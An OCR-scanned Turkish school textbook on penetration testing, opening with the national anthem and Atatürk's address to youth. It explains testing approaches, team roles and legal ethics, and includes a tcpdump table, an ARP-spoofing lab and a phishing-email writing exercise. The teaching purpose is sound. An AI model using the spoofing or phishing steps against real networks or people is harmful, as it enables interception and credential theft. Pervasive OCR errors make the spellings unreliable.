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ISTIKLAL MARSI

Korkma, sbhnmez bu safaklarda ytizen al sancak;
Sénmeden yurdumun Ustiinde tiiten en son ocak.
O benim milletimin yildizidir, parlayacak;
O benimdir, o benim milletimindir ancak.

Catma, kurban olayim, ¢ehreni ey nazli hilal!
Kahraman irkimabir gul! Ne bu siddet, bu celal?
Sana olmaz dokulen kanlarimiz sonra heldl.
Hakkidir Hakk’ a tapan milletimin istiklal.

Ben ezelden beridir hur yasadim, hirr yasarim.
Hangi ¢ilgin bana zincir vuracakmis? Sasarm!
Kukremis sel gibiyim, bendimi ¢igner, asarim.
Yirtarim daglari, enginlere sigmam, tasarim.

Garbin &a&kint sarmissa gelik zirhli duvar,
Benim iman dolu gogsiim gibi serhaddim var.
Ulusun, korkma! Nasil bdyle bir imam bogar,
Medeniyyet dedigin tek disi kalmis canavar?

Arkadas, yurduma algaklar: ugratma sakin;
Siper et gévdeni, dursun bu hayasizca akin.
Dogacaktir sana va dettigi gunler Hakk’1n;
Kim bilir, belki yarin, belki yarindan da yakin.

Bastigin yerleri toprak diyerek gegme, tani:
Dustin altindaki binlerce kefensiz yatan.
Sen sehit oglusun, incitme, yaziktir, atan::
Verme, dinyalari alsan da bu cennet vatan.

Kim bu cennet vatanin ugruna olmaz ki feda?
Suheda fiskiracak toprag: siksan, stihedal
Céanu, canani, bittin varimi alsin da Huda,
Etmesin tek vatanimdan beni diinyada clida.

Ruhumun senden 11ahf, sudur ancak emeli:
Degmesin mabedimin gégsiine ndamahrem €li.
Bu ezanlar -ki sehadetleri dinin temeli-

Ebedi yurdumun Ustiinde benim inlemeli.

O zaman vecd ile bin secde eder -varsa- tasim,
Her certhamdan 118hi, bosarmp kanl yasim,
Fiskirir ruh-1 miicerret gibi yerden na sim;

O zaman yukselerek arsa deger belki bagim.

Dalgalan sen de safaklar gibi ey sanli hildl!
Olsun artik dokdlen kanlarimin hepsi helél.
Ebediyyen sanayok, irkimayok izmihl&l;
Hakkidir hir yagsamis bayragimin hirriyyet;
Hakkidir Hakk’ a tapan milletimin istiklal!

Mehmet Akif Ersoy



GENCLIGE HITABE

Ey Turk gencligi! Birinci vazifen, Turk istiklalini, Tlrk Cumhuriyetini,
ilelebet muhafaza ve mudafaa etmektir.

Mevcudiyetinin ve istikbalinin yegane temeli budur. Bu temel, senin en
kiymetli hazinendir. Istikbalde dahi, seni bu hazineden mahrum etmek
isteyecek dahili ve hérict bedhahlarin olacaktir. Bir giin, istiklal ve cumhuriyeti
midafaa mecburiyetine dusersen, vazifeye atilmak icin, icinde bulunacagin
vaziyetin imkan ve seraitini disunmeyeceksin! Bu imkan ve serait, cok
namisait bir mahiyette tezahlr edebilir. istiklal ve cumhuriyetine kastedecek
dusmanlar, batin dinyada emsali gorilmemis bir galibiyetin - mimessili
olabilirler. Cebren ve hile ile aziz vatanin bitin kaleleri zapt edilmis, butin
tersanelerine girilmis, batun ordular: dagitilmis ve memleketin her kdsesi bilfiil
isgal edilmis olabilir. Bitin bu seraitten daha elim ve daha vahim olmak Uzere,
memleketin dahilinde iktidara sahip olanlar gaflet ve dalélet ve hattd hiyanet
icinde bulunabilirler. Hattd bu iktidar sahipleri sahsi menfaatlerini,
miustevlilerin siyasi emelleriyle tevhit edebilirler. Millet, fakr u zaruret icinde
harap ve bitap dusmds olabilir.

Ey Turk istikbalinin evladi! Iste, bu ahval ve serait icinde dahi vazifen,
Turk istiklal ve cumhuriyetini kurtarmaktir. Muhta¢ oldugun kudret,
damarlarindaki asil kanda mevcuttur.

Mustafa Kemal Atatlrk
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DERS MATERYALININ TANITIMI

Ders materyali

& BILGI TOPLAMA VE «——— grigndeerverier
OGRENME BIRIMI KESiF YONTEMLERI

gosterir.

Ders materyali
_ <———— jgeriginde yer verilen
konulari gosterir.
2.1. BiLGi TOPLAMA TEKNIKLERi

2.2. AG VE PORT TARAMA TEKNIKLERIi
2.3. AG ORTAMI DINLEME ARAGLARI

Ders materyali

NELER OGRENECEKSINiz? < iceriginde neler _
o6grenilecegini gosterir.

o Bilgi toplama tekniklerini kavrama
* Ag ve port tarama tekniklerini kullanma

o Ag ortami dinleme araglarini kullanma

Ders materyali

_ iceriginde yer verilen
temel kavramlari
Bilgi toplama (information gathering), gosterir.
Exploit, istismar (exploitation), kesif
(reconnaissance), Payload, raporlama
(reporting), tarama (scanning), yetki

yukseltme (privilege escalation), zafiyet

analizi (vulnerability analysis)

Ders materyali
iceriginde yer
verilen, 6grencilerin
hazirbulunusluklarini
olgen hazirhk
calismalarini gosterir.

¥, : Sira Sizde Ders materyali
A <—— igeriginde yer verilen
pekistirecleri gosterir.

Sinif arkadaslarinizla ayrilarak kimlik avi e-postalari Gizerine uygulamali bir galisma gergeklestiriniz.
Birinci grup saldirganlar roliini Ustlenerek bir kurum galisanini hedef alan aciliyet, otorite veya
merak duygusu olusturacak ifadeler kullanarak sifre, dogrulama bilgisi veya kisisel veri elde etmeyi
amaglayan bir e-posta hazirmalidir. ikinci grup ise hedef kullanicilar olarak hazirlanan e-postayi
analiz etmeli, bunun bir phishing saldirisi olup olmadigini degerlendirmeye c¢almalidir. Hedef
kullanicilar, e-posta igeriginde yer alan slpheli baglantilar, dil hatalari, sahte génderici adresleri
ve manipulasyon tekniklerini tespit etmeye odaklanmalidir. Uygulama sonunda hangi e-postalarin
daha ikna edici oldugunu, kullanicilarin hangi hatalara diisebilecegini ve bu tir saldirilara karsi nasil
onlem alinmasi gerektigini sinif ortaminda tartisarak degerlendiriniz.




DERS MATERYALININ TANITIMI

Ders materyali

Tablo 2.7: tcpdump Parametreleri ve Agiklamalari < itgairlisli::l;i\){;re\:ﬁ.r”en
T
tcpdump -v arp ARP paketlerini listeler.
tcpdump ile yalnizca dinleme yapilan arabirime gelen
tcpdump -p paketleri yakalamak amaciyla segici olmayan moddan
¢ikilmasi igin kullanihr.
Yakalanan paketlerin ikinci katman bilgilerini, bir baska
tcpdump -e . . .
deyisle MAC adreslerini elde etmek igin kullanilir.
istenilen paketleri bir dosya halinde kaydeder. Kaydedilen
tcpdump -w “dosya ismi” bu dosya Wireshark gibi programlarla agilarak da
incelenebilir.
tcpdump -r “dosya ismi” Dosya halinde olan bir paket listesini agar.
tcpdump -v icmp ICMP paketlerini listeler.
tcpdump -v arp ARP paketlerini listeler.

Ders materyali
. uygulamalari gosterir.

Ag lizerinde ARP spoofing (Man-in-the-Middle) saldirisi baslatarak tcpdump ile tespit ediniz ve anormal

ARP davraniglari analiz edecek uygulamayi gergeklestiriniz. Ders materyali

Bu uygulamada 192.168.1.100 cihazinda Kali Linux, 192.168.1.27 cihazinda Windows <+——— i9etr|igi”d? \t/er."er”e”
notlari gosterir.
isletim sistemi ve 192.168.1.1 ise ag gegidi olarak kullaniimaktadir. &

m ARP spoofing saldirisinda saldirgan, kendisini ag gecidi (gateway) gibi gostererek trafigi
tizerine geker. Bu saldiri sirasinda agda anormal ARP cevaplari (gratuitous ARP) olusur.

1. Adim: Kali Linux Uzerinde ag arayuziinu belirleyerek ARP trafigini dinlemek amaciyla tcpdump aracini
baslatiniz (Gorsel 2.54).

Ders materyali
————— igeriginde yer verilen
gorselleri gosterir.

[ = = e e R i

Gorsel 2.54: Olagan ARP trafiginin izlenmesi

Ogrenme birimi ile ilgili

GCME VE DEGERLENDIRME <« Olomeve
degerlendirme

calismalarini gosterir.

A. Asagida verilen ciimlelerin basindaki bosluga climlede yer alan ifade dogru ise “D”, yanls ise “Y”
yaziniz.

1. () Pasif bilgi toplama strecinde hedef sistemle dogrudan etkilesime gegilmez.




1. SIZMA TESTINE GiRiS

OGRENME BiRiMI

.ONULAR

1.1. SIZMA TESTi YAKLASIMLARI
1.2. KAPSAMINA VE ALANINA GORE SIZMA
TESTi TURLERI

1.3. SIZMA TESTi ASAMALARI

NELER OGRENECEKSINiz?

e Sizma testiile ilgili yaklasim cesitleri
e Sizma testinin tirleri

e Sizma testinin asamalari

-L KAVRAMLAR

Beyaz kutu, bilgi toplama, CVE, CVSS,
DDoS, defensive, gri kutu, kara kutu,

kesif, kirmizi takim, mavi takim, log, mor
takim, offensive, OWASP, sizma testi, siber
glvenlik, sosyal mihendislik, yanls negatif,

yanlis pozitif, zafiyet




1. OGRENME BiRIiMi

HAZIRLIK CALISMALARI

1. Bir kurumun bilgisayar sistemlerine yetkisiz girmeye ¢alismak her zaman su¢ mudur,
istisnai durumlar olabilir mi?

2. Bir kurumda hangi tir bilgilerin gizli tutulmasi gerektigini diistinlyorsunuz? Nedenini
aciklayiniz.

1.1. SIZMA TESTi YAKLASIMLARI

Sizma testi (pentest/penetration test), bilisim sistemlerindeki gtivenlik agiklarini tespit ederek bunlarin
kotu niyetli kisiler tarafindan istismar edilmesini 6nlemek ve sistemleri daha giivenli hale getirmek
amaclyla yapilan bir tir etik siber glvenlik testidir. Tespit edilen zafiyeti sisteme zarar vermeyecek
sekilde istismar etmek amaciyla kullanilir. Sizma testi ile bir uygulamaya, yazilima, sisteme veya aga
karsi yapilabilecek siber saldirilar tespit edilir.

Sizma testleri yapilirken cesitli etik ve hukuki yonlere dikkat etmek gerekir. Etik ve etik olmayan siber
saldiri uygulamalari arasinda ince bir ¢izgi vardir. Etik sizma testi ile etik olmayan sizma testi arasindaki
en belirgin fark; izin, niyet, yetki ve kurallara uyum siirecindeki yasa ve etik degerlere uygunluktur. Etik
sizma testi, kurumu olasi siber saldirilara karsi gliclendirmeye yarar. Etik olmayan sizma testi ise siber
su¢ kapsamina girer (Tablo 1.1).

Tablo 1.1: Etik Sizma Testi ve Etik Olmayan Sizma Testinin Karsilastirmasi

Etik Sizma Testi Etik Olmayan Sizma Testi

Yazili s6zlesme ve acik izin vardir. izin alinmadan test yapilr.

Testin kapsami (IP araliklari, uygulamalar, zaman | Test kapsami net degildir. Bulunan agiga gore
dilimi vb.) net olarak tanimlanmistir. hareket edilir.

Hukuka uygundur. Yetkisiz erisim suguna girebilir.

Guvenligi artirarak agiklari kapatmak amaglanir. | Kisisel ¢ikarlar s6z konusudur.

Planl olarak yapilir ve kapsam disina ¢ikilmaz. Kapsam disina cikilabilir.

Veri gizliligi ve mahremiyet 6nemlidir. Elde edilen veriler paylasilabilir, ifsa edilebilir.
Raporlar acik, seffaf ve teknik olarak Raporlarda abartili bulgular yer alabilir ve aciklar
dogrulanabilir niteliktedir. gizlenebilir.

Kurumun given ve itibarini artirir. Kurumda itibar kaybina yol agar.

@ SIZMA TESTI



SIZMA TESTINE GiRiS

Sizma testi uzmaninin bir bankanin web sitesinde agik oldugunu duslinerek yazili izin

1. Ornek almadan test yapmasi etik degildir ve sug¢ teskil edebilir fakat ayni testin yazili s6zlesme

ile planh bir sekilde yapilmasi etiktir.

Sizma testi uzmaninin test sirasinda musteri veri tabanina eriserek kayit alip bunu
raporlamasi etik sizma testine 6rnektir. Fakat ayni test sirasinda verilerin kopyalanarak
calinmasi veya Uglncu kisilerle paylasilmasi etik disidir ve sug teskil eder.

2025 yilinda yururlige giren 7545 sayili Siber Glivenlik Kanunu’nun 5. maddesi ile kurumlara yonelik
sizma testi uygulamasi zorunlu hale getirilerek yasal zemine oturtulur. Bununla birlikte tespit edilen
zafiyetlerin belirli stirelerde kapatilmasi ve raporlanmasi sart kosulur.

Sizma testleri, teknik agcidan gerekli olmasinin yaninda hukuki sorumluluklar da getirir. Tiirk hukukunda
ozellikle Turk Ceza Kanunu kapsaminda diizenlenen Bilisim Sistemine Girme sucu ile Kisisel Verilerin
Korunmasi Kanunu (KVKK) cercevesindeki veri ihlali htikiimleri, sizma testlerinin planlanmasi ve icrasi
sirasinda dikkate alinmasi gereken temel diizenlemelerdir. Test siirecinde kisisel verilere erisim ihtimali
bulundugundan veri givenligi ve hukuka uygunluk bliyliik 6nem tasir.

Bir sizma testinin hukuka uygun kabul edilebilmesi icin test yapilacak sistemin sahibinden acik, yazili ve
sinirlari belirlenmis bir onay alinmasi zorunludur. Bu yetkilendirme olmadan gerceklestirilen bir test, iyi
niyetli dahi olsa hukuken yetkisiz erisim kapsaminda degerlendirilebilir ve ciddi yaptirimlara yol agabilir.

Blyuk olgekli kurumlarin bircogunda siber glivenlik operasyonlarini yiirtiten ekipler vardir. Bunlar
kirmizi takim, mavi takim ve mor takim olarak adlandirilir (Gorsel 1.1).

Kirmizi Takim Mor Takim Mavi Takim

(Saldirt) (Is Birligi) (Savunma)

Gorsel 1.1: Kirmizi takim, mavi takim ve mor takim

Bir kurumun verilerini, sistemlerini ve kullanicilarini siber tehditlerden korumaktan sorumlu olan takima
mavi takim (blue team) denir. Savunma odakl ¢alisir ve giivenlikten sorumludur.

Kirmizi takim (red team), etik saldiri ekibidir. Saldirilari simile ederek sistemlerdeki giivenlik agiklarini
ve zafiyetleri ortaya ¢ikarirlar. Sisteme ilk erisim anindan veri sizdirmaya veya kesintiye kadar olan saldiri
asamalarini uygularlar.
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Mor Takim (purple team) hem gercek saldirilara hem de kirmizi takim similasyonlarina karsi savunma
gelistiren i¢ glvenlik ekipleridir. Kirmizi ve mavi takimlar arasindaki koordinasyonu saglarlar. Tablo
1.2’de bu takimlarin 6zellikleri gérilir.

Tablo 1.2: Kirmizi, Mavi ve Mor Takimlarin Ozellikleri

Gercek diinya siber saldirilarini
simile ederek zayifliklari tespit
eder.

Siber saldirilara karsi tehditleri
tespit eder ve saldirilar etkisiz
héle getirir.

Kirmizi ve mavi takimlar
arasindaki boslugu kapatarak
glvenlik is birligini gelistirir.

Sistemlere saldiri simtlasyonu
yapan ve glvenligi test eden
etik hackerlardan olusur.

Tehditleri izleyen ve
miidahale eden siber glvenlik
savunucularidir.

Kirmizi ve mavi takimlarin etkin
¢alismasini saglayan glvenlik
uzmanlaridir.

Saldirgan yaklagim benimser,
givenlik agiklarini tespit ve
istismar etmeye odaklanir.

Savunmaci yaklasim benimser,
saldirilari 6nlemeye ve etkisini
azaltmaya odaklanir.

is birligine dayali yaklasim
benimser ve sirekli iyilestirme
saglar.

Genellikle mavi takimdan
ayri galisir ve bulgulari anhk
paylasmaz.

Kirmizi takimdan ayri ¢ahsir ve
simile edilen saldirilara tepki
verir.

Her iki takimla aktif is birligi
yaparak genel glvenligi artirir.

Zafiyetleri bulur ancak
dogrudan dizeltmez.

Tehditleri tespit eder ve azaltir
ancak tim saldiri yontemlerini
ongoremeyebilir.

Bulgulari savunma stratejilerine
entegre ederek glvenlik
seviyesini yukseltir.

Siber saldiri simtlasyonu
yapar, dayanikhligi test eder ve
zayifliklari ortaya gikarir.

Sistemleri izler, tehditleri analiz
eder ve savunmayi glclendirir.

Ortak guivenlik tatbikatlari
diizenler, koordinasyonu
artirir ve proaktif iyilestirmeler
uygular.

Bu yaklasimlar, savunma odakli (defensive) yaklasim ile saldiri / 6nleyici odakli (offensive) yaklasimdir.
Siber glivenlik stratejilerinde bugiin daha yaygin olarak tercih edileni ise proaktif bir yapiya sahip olan
onleyici odakli yaklagimdir.

Guvenlik Acigl Degerlendirmesi (Vulnerability Assessment), hedef sistemdeki givenlik aciklarinin
cesitli yazilimlar kullanilarak tespit edilmesini ve raporlanmasini kapsar. Bu islem, taranan sistemin
anhk guvenlik goriintlisiinU ortaya koyan bir analiz stirecidir. Sizma testlerinde ise temel amag sadece
acikliklari belirlemek degil bu acikliklari kullanarak hedef sistemlere sizmak, veri tabanlarina erismek,
yetki ylkseltmek gibi ek islemlerin gerceklestirilebilirligini test etmektir.
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Bilgi seviyesine gore kara kutu (black box), beyaz kutu (white box) ve gri kutu (grey box) biciminde
adlandirilan (g gesit sizma testi yaklasimi vardir (Gorsel 1.2). Hangi sizma testinin uygulanacagi, test
edilen kurumun ihtiyaglarina gére belirlenir. Ornegin beyaz kutu sizma testinde test uzmani ag ve sistem
ile ilgili tim bilgilere sahip olmalidir. Gri kutu sizma testinde test uzmani sinirli sayida bilgiye sahiptir.
Kara kutu testinde ise test uzmani higbir bilgiye sahip degildir.

Kara Kutu Testi Beyaz Kutu Testi Gri Kutu Testi

Gorsel 1.2: Sizma testi yaklagimlari

1.1.1. Kara Kutu Testi

Kara kutu testi, test uzmaninin arka planlailgili hicbir bilgiye sahip olmadigi sizma testi yontemidir. Testi
yapan kisi, sistemin ig isleyisi ile ilgili bilgiye sahip degildir. Kara kutu testi kaynak kodlarin verilmedigi
bir testtir. Kara kutu, sistemin dis davranisina odaklanir. Bu test senaryosunda bilgisayar korsaninin bir
kurulusu nasil hedef aldigi ve tehlikeye atabilecegi gorilir. Bu testle sistem tarafindan alinan girdiler ve
Urettigi ciktilar test edilir. Bazi veriler girilerek elde edilen sonuclar kontrol edilir.

Test sistem uzmaninin kod ile ilgili higbir bilgiye sahip olmadan bir internet

Ornek Senaryo bankaciligl uygulamasinin para transferi 6zelligini test etmesi kara kutu testine
ornektir. Bu senaryoda test sistem uzmani gercek bir bilgisayar korsani gibi

davranarak su islemleri gerceklestirir (Test uzmani yalnizca internet bankacilig
uygulamasinin internet sitesi adini bilir.):

« Mevcut sitede acik port taramasi yapar.
» Uygulama lzerinde SQL Injection, XSS, brute force gibi agiklari dener.
 Bir yonetici paneli olup olmadiginin kesfini yapar.

- Sifre sifirlama mekanizmasini test eder.

t‘ Aragtirma

Kara kutu testi icin senaryolar arastiriniz ve buldugunuz 6rnekleri sinifta arkadaslarinizla paylasiniz.
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1.1.2. Beyaz Kutu Testi

Beyaz kutu testi, test edilecek (irliniin koduna ve i¢ yapisina bakilarak ve miimkiin oldugunca ¢ok sayida
saldiri vektord kullanilarak belirli bir sisteme yonelik hedefli bir saldiriyi simile etmek icin kullanilan
yontemdir. Beyaz kutu testi yazilim kaynak kodlarinin paylasildigi bir testtir. Test uzmani, Griinin ig
isleyisine odaklanarak girdi-¢ikti sireglerini inceler. Bu yontemin uygulanmasi icin ag haritalari ve kimlik
bilgileri de dahil olmak lizere tim ag ve sistem bilgilerinin test uzmaniyla paylasiimasi gerekir.

Beyaz kutu testinin temel amaci sistem dogrulamasidir. Beyaz kutu testi ile nesne arizalari, hatali ¢iktilar,
hatali kodlanmis pargalar, glivenlik kayiplari ile belirli girdi strecleri icin is akislari ve senaryolardaki
hatalar aranir. Beyaz kutu testi yapilirken izlenecek iki adim vardir.

1. Adim

Kaynak Kod incelenmesi: Bircok web sayfasi ve uygulama, hassas veriler toplama egiliminde oldugundan
uygulamanin kaynak kodunu anlamak ve giivenli kodlamaya dikkat etmek gerekir.

2. Adim

Test Vakasi Olusturma ve Yiiriitme: Zafiyetleri tespit etmek icin bir dizi senaryo olusturulup galistiriimasi
asamasini kapsar. Manuel veya otomatik test seklinde uygulanabilir.

Sizma testi uzmaninin bir bankanin i¢ uygulamasini test etmesi, beyaz kutu
Ornek Senaryo testine Ornektir. Bu senaryoda sizma testi uzmanina sistem ile ilgili tim bilgiler
(kaynak kod, ip listesi, kullanilan ag topolojisi, veri tabani yapisi vb.) verilir. Mevcut

senaryoda sizma testi uzmani, kuruma iceriden zarar vermeye calisan bir bilgisayar
korsani gibi davranarak su islemleri gerceklestirir:

e Kod analizi yapar.
e Gizlenmis sifre olup olmadigini kontrol eder.
e Yetki yukseltme aciklarini inceler.

e is mantig hatalarini arastirir.

(." Aragtirma

Beyaz kutu testi icin senaryolar arastiriniz ve buldugunuz o6rnekleri sinifta arkadaslarinizla
paylasiniz.

1.1.3. Gri Kutu Testi

Gri kutu testi, gerektiginde beyaz kutu ve kara kutu testleriyle birlikte de kullanilabilen bir yontemdir.
Gri kutu penetrasyon testinde test uzmanina sistemle ilgili sinirli sayida bilgi verilir. Bu bilgiler genellikle
oturum agma kimlik bilgilerini kapsar. Bu yontem, ayricalikli bir kullanicinin elde edebilecegi erisim
seviyesini ve neden olabilecegi potansiyel zarari degerlendirmeye yardimci olur. Ayrica gri kutu testleri
bir i¢ tehdit veya ag cevresini ihlal eden bir bilgisayar korsanini simile etmek amaciyla kullanilabilir.
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Test sistem uzmaninin web tabanli bir CRM [Customer Relationship Management

(Mdisteri iliskileri Yonetimi)] sisteminin kullanici arayiizii ve veri tabani arasindaki
veri senkronizasyonunu test etmesi, gri kutu testine drnektir. Test uzmani sinirli
bilgiye sahiptir (Ornegin test uzmani, sema erisimine sahipken uygulamanin
kaynak kodu hakkinda higbir bilgiye sahip olmayabilir.). Test uzmani; sisteme
kayith normal bir kullanici hesabi, test ortami erisimi ve kismi APl dokiimantasyon
bilgilerine sahip olabilir. Mevcut senaryoda test uzmani, sisteme kayitl kotl bir
kullanici gibi davranarak sunlari yapar:

e Yetki atlama (IDOR) aciklarini test eder.
e Kullanicilar arasi veri erisimi kontrol edilir.

e Oturum yonetimini inceler.

Gri kutu testi icin senaryolar arastiriniz ve buldugunuz 6rnekleri sinifta arkadaslarinizla paylasiniz.

r®
) B

Sira Sizde

Asagidaki kavramlarin 6nindeki rakamlari agiklamalar basliginda verilen ifadelerin 6niinde ayrilan
yere yerlestirerek kavrami dogru aciklama ile eslestiriniz.

() Saldirilari simile ederek sistemdeki glivenlik agiklarini tespit

1. Kirmizi Takim
eder.

() Siber saldirilari tespit eder ve savunma mekanizmalarini

2. Mavi Takim .
gelistirir.
3. Mor Takim () Kirmizi ve mavi takimlar arasinda koordinasyon saglar.
4. Kara Kutu Testi () Sistem hakkinda hicbir bilgi olmadan yapilan test yontemidir.

() Sistem hakkinda tiim bilgilere sahip olunarak yapilan test

5. Beyaz Kutu Testi . .
yontemidir.

6. Gri Kutu Testi
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1.2. KAPSAMINA VE ALANINA GORE SIZMA TESTi TURLERI

Sizma testi tlirleri, kurum ve kuruluslarin sistemlerindeki potansiyel zafiyetleri belirlemek amaciyla
kullanilan test yontemleridir (Gorsel 1.3).

Ag Sizma Testi

2.7
oig

Sizma Testi
Turleri

Kablosuz A &@5 \/ /(cht Sosyal Mithendislik
X

Sizma Testi O[@] Sizma Testi

Web Uygulama
Sizma Testi

Mobil Uygulama
Sizma Testi

\
S
=P

P

—
s B
>

ik

YUk Testi (DDOS & Load)

Gorsel 1.3: Sizma testi turleri

1.2.1. Ag Sizma Testi (Network Pentest)

Ag sizma testi, ag altyapisindaki glvenlik agiklarini ve ag lizerinde yer alan cihazlar arasindaki zayif
noktalari tespit etmek amaciyla etik hackerlar veya kirmizi ekipler tarafindan uygulanan simiile edilmis
bir saldiri tlrtdir.

Ag saldirilari ile ag trafigini ele gecirilebilir, yonlendiriciler test edilebilir, kimlik bilgileri calinabilir, ag
hizmetleriistismar edilebilir, eski cihazlar ve Gglincu taraf aygitlar kesfedilerek yetkisiz erisim saglanabilir.
Ag sizma testlerinde ele alinan temel tehdit unsurlari arasinda Hizmet Disi Birakma (DoS / DDoS)
saldirilari, Ortadaki Adam (MitM) saldirilari, Alan Adi Sistemi (DNS) zehirlenmesi ve ag servislerine
yonelik yetkisiz erisim girisimleri yer alir.

Ag altyapisina yapilan saldirilar, agin i¢ altyapisina odaklanabilecegi gibi iyi yapilandiriimamis harici
glvenlik duvarlarini asmak amaciyla agin dis altyapisina da odaklanabilir. Ag sizma testi yerel (i¢ ag) ve
harici (dis ag) olarak iki farkl sekilde uygulanir.

1.2.1.1.i¢ Ag Sizma Testi

i¢ ag sizma testi; bir kurumun i¢ aginda gergeklestirilen, kurumun iceriden gelecek tehditlere (kurum
ici bilgi calma, yetkisiz kisilerin hassas verilere erisimi vb.) karsi savunmalarini gliclendirmeyi amaclayan
test tlrldir. Bu test ile ic agdaki cihazlarin, dosya paylasimlarinin ve sunucularin giivenligi kontrol edilir.
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1.2.1.2. Di1s Ag Sizma Testi

Dis ag sizma testi; kurumun internete acik olan yonlendirici (router), sunucu, glivenlik duvari gibi
varliklari ve bu cihazlar Gzerinde calisan servislerdeki givenlik aciklarini tespit etmek amaciyla
gerceklestirilir. Bu yontemde uzmanlar, gercek bir bilgisayar korsaninin davranislarini ve tekniklerini
taklit ederek kurumsal aga disaridan sizmaya calisir. Dis ag givenligini analiz etmek icin otomatik zafiyet
taramalari, port ve servis kesifleri, yapilandirma denetimleri, gerektiginde sosyal miihendislik gibi cesitli
yontemler bir arada kullanilr.

1.2.2. Web Uygulama Sizma Testi (Web Application Pentest)

Siber saldirilarin ¢ok blyik kismi web uygulamalarindaki glvenlik aciklarindan kaynaklanir. Web
uygulama sizma testi; 6zel yazilimlar, araclar ve manuel analiz yontemleri kullanilarak bir kurumun
web tabanli sistemleri ve diger yazilm bilesenlerindeki glivenlik agiklarini tespit etmek amaciyla yapilan
bir testtir. Bu test, sizma testi uzmanlari tarafindan manuel olarak yapilir. Bu test, sizma testi uzmanlari
tarafindan otomatize araglarin yani sira manuel olarak da yapilir.

Sizma testi uzmanlari web uygulamasi givenlik agiklarini aramak icin genellikle Agik Web Uygulama
Guvenligi Projesi (OWASP) standardini kullanir. Bu proje, web uygulamalarindaki en kritik gtivenlik
aciklarini listeler ve degisen siber glivenlik ortamlarina gore belirli periyotlarla glincellenir.

Web uygulamasi sorunlari arasinda SQL enjeksiyon saldirilari, Glvenli Olmayan Dogrudan Nesne
Referanslari (IDOR), XSS (Cross-Site Scripting) ve zayif sifreleme yer alir.

1.2.3. Sosyal Miihendislik Sizma Testi (Social Engineering Pentest)

Sosyal miihendislik sizma testi, insan faktoriinden kaynaklanan giivenlik zafiyetlerini tespit etmek icin
kullanilir. Bir kurumdaki ¢alisanlarin sebep olabilecegi acikliklar, bilgisayar korsanlarinin kurumun ig
agina erisimlerine sebep olabilir. Calisanlar, karsilasabilecekleri tehditler ile ilgili bilgilendirilerek sosyal
mihendislik saldirilarina karsi farkindaligin artiriimasi saglanir.

Sizma testi uzmanlari hazirladigi senaryolarla kurum galisanlarindan kritik ve kurum agina sizmak igin
gerekli bilgileri elde etmeye calisir. Calisanlari bir baglantiya tiklamaya veya agda tehdit olusturabilecek
eylemlere sevk ederek meydana gelebilecek acikliklari tespit eder.

1.2.4. Yiik Testi (DDoS and Load Pentest)

DDoS ve load testleri, birbirine benzeyen fakat farkli hedeflere hizmet eden testlerdir. Bunlarla ag
glvenligi ve yik dengeleme sistemlerinin dayaniklihgi test edilir.

DDoS testlerinde gercek DDoS saldirilari simiile edilerek kullanilan DDoS koruma hizmetinin ne kadar
etkin oldugu tespit edilir.

Load testi ise kurumlarin disariya agik uygulamalarinin kaldirabilecegi maksimum istek sayisini veya ne
kadar yogun bir trafigi kaldirabilecegini tespit etmeyi amaglar. Bir sistemin saldirilara karsi dayanikliligini
Olcer ve olasi saldirilara karsi hangi onlemlerin alinmasi gerektigini belirler. DDoS saldirilarina karsi
kullanilan savunma mekanizmalarinin etkili bir sekilde calisip calismadigini kontrol eder. Bu test,
uygulanan sisteme yik miktarinin kademeli olarak artiriimasiyla yapilir. Boylelikle sistemin veya

uygulamanin ne kadar yik tasiyip tasiyamayacagi tespit edilir.
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1.2.5. Kablosuz Ag Sizma Testi (Wireless Pentest)

Kablosuz ag sizma testi, kurumsal Wi-Fi aglarindaki givenlik agiklarini tespit etmek ve kablosuz iletisim
protokollerinin direncini 6lcmek amaciyla uygulanir. Wi-Fi aglarinda en fazla glivenlik acig1, Wi-Fi erisim
noktalarinda bulunur. Kablosuz ag sizma testinde kurumun Wi-Fi agina bagli tim cihazlar arasindaki
baglantilar tespit edilerek incelenir. Testin temel amaci; agdaki sifreleme zayifliklarini, yetkisiz erisim
noktalarini ve veri trafiginin dinlenebilirligini kontrolll bir similasyon esliginde raporlamaktir.

Kablosuz ag sizma testi gercgeklestirilecek olan ortamda bir aragla dolasilarak Wi-Fi sinyalleri tespit
edilir. Sizma testi uzmanlari dizistl bilgisayar, Wi-Fi anteni, kablosuz ag adaptoru ile paket yakalama,
analiz yazihmi gibi ekipmani yanlarinda bulundurarak ortamdaki kablosuz aglari tarar ve tanimlama
islemi yapar. Wi-Fi erisim noktalarini (access points) bulduktan sonra erisim noktalarindaki glivenlik
aciklar belirlerler. Glvenlik agiklari tespit edilerek istismar edilir. TUm islem ve yontemler, sizma testi
uzmanlarinca belgelendirilir (Gorsel 1.4).

Kablosuz Aglan
Tanimlama

Aglar sivflandinilir ve
hedefler belirlenir.

((@B») Kablosuz Kesif @

Sinyal ortaminin ve
yayinlarin kesfi yapilr.

Giivenlik Agig it i
Araﬁtlrmas? . = Kablosuz A Somird
i @E Sizma Testi Yetkilendirilmis testle
Z_aﬁ)retler“anallze_cfli:r. — dogrulama yapilir,

riskler degerlendirilir.

Eod g
Diizeltme Ve ]

lvilestirme sonrasi
kontroller dodrulamr.

Raporlama

Bulgular, karutlan ve
etkileri ile raporlanir.

Raporlar degerlendirilir.

Gorsel 1.4: Kablosuz sizma testi

1.2.6. Mobil Uygulama Sizma Testi (Mobil Application Pentest)

K6tu niyetli kullanicilarin uygulamaya erismesi, verilerin ¢alinmasi, uygulamanin yer aldigi sunuculara
saldirilar yapilmasi, uygulamadaki aciklarin kullanilmasi gibi kritik saldiri senaryolari kurumlar icin tehdit
olusturur. Mobil uygulama sizma testi, mobil uygulamalarin giivenlik agiklarini tespit ederek ortadan
kaldirmak amaciyla kullanilan test turiddr.
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Mobil uygulama sizma testi uygulanirken test edilmesi gereken parametreler Gorsel 1.5’te gosterilmistir.

Mimari tasarim ve

Ag iletigimi
tehdit modellemesu
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Kimlik dogrulama ve
oturum yonetimi

rgj
-0

Yapilandirma hatalan
ve derleme ayarlarn

Gorsel 1.5: Mobil uygulama sizma testinin parametreleri

Mobil uygulama sizma testleri kullanilarak tespit edilebilecek mobil uygulama sorunlari ve glivenlik
aciklarindan bazilari sunlardir:

« Veri tabanlarina yetkisiz erisim

« Zayif sifreleme veya kimlik dogrulama (API giivenlik agiklari)
« Ele gegirilmis parolalar ve PIN kodlari

« Gulvenli olmayan derin baglantilarla ilgili glivenlik agiklari

« Saldirganlarin kot amacl kod enjekte etmesine sebep olan kritik bir glivenlik acigi

Sira Sizde

